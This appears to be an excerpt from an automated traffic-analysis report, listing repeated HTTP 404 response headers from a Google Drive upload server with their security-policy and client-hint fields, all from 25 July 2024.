Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:30 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-87IXil6OaBqasRbZ2wpNSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNkC6GBQvdi9x3roRgtwA9jO9Bmll6PAkuv3sknTa2UHuAKggq7hx98EJDzpn-VJtRanNEServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:33 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-rDlpE2bugMnf1BSsH6S43g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNcIZGY6UXlJJHy755nZ-hqL6_vd1VVoitCaz8_WiiO-AwgwAIDiqw3JNlltVYL3jKTjIJ-KhBX7QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:33 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-jUXhaCObJM8X8d0dJZhajg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nO54y1VQfP_mtBUhuQLhIE4VpNAkisJSQQRzY8JgkwqH2eUQAKlYPN8U2v1xo_4nNz1gnafBb3oUwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:34 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-0Q6owsVOfBjNTp26HNrm2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNDkctmsfe2d_Nc_lvUVPQc_MpA1fqGAv6PXF680MGtasaWmWdvd_wqgjDSlCWazo6qKCI6T33kwAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:34 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yIlNxlrsecF-uLPjm5wd2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nOZGabucfCi6_ojp6b6dADbXEW6Tf3N7UcBTHAgZ3bEqtUrSHkFjETufhNdLJvQFIVucrMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:35 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-hizVOgevF3boKwv67EE9qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNsxXukJ61CQtHlfzVbRMns80IWVXQJreDT4cFzoNIgN4w9mXsuxmnhdRyQ2tRBV1uCjmejojf2LQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wDtv_uvF-tMSynAUCOHNaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPYc8b3LzABelaFdoM4p5fg07e8pj9W_Yc7QiDDCII1SgRNWpvmhSV9wFNTkujswkDTa8QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:37 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-YUA4r6OgNfVfMxMUED69SQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nP3YANetAda1bM6zx8ULGwNcaRfBUX_xRWhWsE1hyNVxYWaOmB2gkJN74UZb3Yt4lb22PQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:38 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-WOSjlObDPn6weR2GmiSFwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPb_UqF0rWEYR2Sf0r0J_Jc3FysrRGnShNn1lo7vsHksvyxMMXeaQh9h65IAh1x8obJD-0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:38 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-St4D0SImvTOfCbO_hFisYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNZh_OIuI8lqNqGkbNuhIFXNuPrY39_52naD-JiBndOlgTkGF9Q_kWC8llKrm2dky-X31MServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:41 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-j7HWG1UxDCwMunsGfRJVow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMm_QHArIhtIC9uy7sG70jKKVSFGWTTzWzug5lTL2Od4S9EwayuhW6NuC7W60NG9PRtHQT5cUFDmgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-77bXQL3U12xqmVuxmxMNkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nOYtzb5MiiS70uqkJzcpmsuuQBfFEPXwxSXMKuCyzS-hBi-8c8AY4i7VcflKIO7R0Rh6GwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:43 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Y0IbTqjfA34SCmfaY7AqEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nMmM5gA8Laf_ObKVki_y2mrM3P4fjFEwitVRlr4wrvndXEZ1b2hlN6J-C7VWvFJyxHrMkIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-B37_6kfiHdQS69qCwaqh9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nNuLW0OKBRZgGtiMu_xDrai8Kj3MhNSLJ-WXxsK6iW7cTzFDua4Xloc4IfYs5N1vJaV0tYServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-ACKcDFnB21L6ebREeWDcig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nMbgO22B2tiszlNLo-q92GKTLGOpD5Zl0fF2ievvgBuFYV_9UTImGt1_lKIEM-pLOBYfGAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4XWhSjrV6u7MkJhvpORzaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nM9UZnj0IuwzU8Z9yihvBTf1y62VFnbKOgdOApCUUHELczoQB29N93ExguSIdJxIbQ9_ZY1sKsYEQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:47 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-vOecvQKEH-tp99gIWOiQFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nOPpTwlM4jR9bYeBHJjThQHyvDlsDZUqoWtHvHeCVTjMRAHL5AGxS0UjZoAVSSUCVhPk6vmDSUSpgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:47 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OYQLkcM7jEyi5tjRvubPdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOYFaJro_oyI79w5P6pmJ-ov1R-1oxH1SUMjjcx9WFiKbCF27FXCauCU7pWnJKWX0otW2YServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:48 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ggHPKZmL31UC9iTvdvIciA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nO0uWFJq4ntejabUS49Js5KXUWeRTLSYWzrY7vQx66tOp2VE-RoKsnoxAh-E-JjNWFVMZ8Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:49 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-V0OYC0wY2FstPVIqccStnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nO_jcDkoQNTk-XkzsrPaED_g0Acovhw3IIcqGBbsKMVaE1ixabbyKBT2ArqLkUdStbxAl4HmccENAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
